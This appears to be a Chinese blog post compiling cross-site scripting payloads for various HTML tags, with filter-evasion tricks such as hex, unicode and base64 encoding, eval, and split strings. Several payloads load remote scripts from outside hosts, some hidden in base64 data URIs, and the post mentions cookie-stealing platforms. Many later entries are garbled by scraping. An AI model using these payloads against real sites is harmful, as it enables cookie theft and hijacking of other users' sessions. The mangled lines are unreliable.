xss其他标签下的js用法总结大全
前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为↓
1
|
<script src=js地址></script>
|
实际上我们的测试语句可能为↓
1
|
<script>alert("90sec")</script>
|
也就是说js语句实际上是位于↓
<script></script>的中间。
包括<img>、<input>、<object>、<iframe>、<a></a>、<svg>、标签等情况下的xss构造。
所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用<script>就很麻烦了。
【XSS基本探测pyload】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<script>alert(“xss”)</script>
<script>alert(/xss/)</script> //双引号换成斜杠
<script>alert(‘xss’)</script> //用单引号
<script>alert("xss");</script> //用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车
|
1
2
|
单引号被过滤
<script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
|
1
2
|
【javascript伪协议】回旋
<a href="javascript:alert(/test/)">xss</a>
|
1
2
3
|
<script>被过滤↓
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
|
1
2
|
alert被过滤
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
|
1
2
|
【img标记】
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
|
1
2
|
on事件点击触发
onclick="alert('xss') //注意要用单引号 双引号不会触发
|
1
2
|
on事件-移动触发
Onmousemove="alert('xss')
|
1
2
3
4
5
6
7
|
【利用函数加密】
eval 函数配合编码
<script>eval(“js+16进制加密”)</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
编码要执行的语句↓
Alert(“xss”)
|
1
2
3
4
5
6
|
【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
标记eval(“编码”) 结束标记
|
1
2
3
4
5
6
7
|
【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
【data协议运用】
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式
Data:[<mime type>][;charset=<charset>[;base64],<encoded data>
Data //协议
<mime type> //数据类似
charset=<charset> //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
实际编码↓
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
base64编码要执行的内容
特点:不支持IE
|
【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
|
<img src=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img> //仅支持IE6
<img src=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img> //仅支持IE6
<img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss
<img src="pdpdp.gif"></img> //通杀所有浏览器 能触发xss
<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<input autofocus="bbbb" />
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe> ie不支持
<a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>
<anchor>、<img>(不执行js) <a>(需点击) <meta>.....
<anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
<svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">
<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
<baa id="1" tabindex=0>
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标签
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode编码是没有分号的
<IMG SRC=jav..省略..S')>
(10)十六进制编码也是没有分号
<IMG SRC=\'#\'" /span>
(11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
(12)嵌入式编码标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
(13)嵌入式换行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
(14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>
(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标签
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半开的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>
(27)双开角括号
<iframe src=http://3w.org/XSS.html <
(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=\'#\'" /span>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY标签
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>
(35)IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>
(36)BGSOUND
<BGSOUND SRC=\'#\'" /span>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)远程样式表
<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>
|
——————————————-xss其他标签下的js用法总结大全––——————————–————————————
类似的东西也有人发过,我针对XSS利用中的各标签利用实例整理了下。算是比较全面的。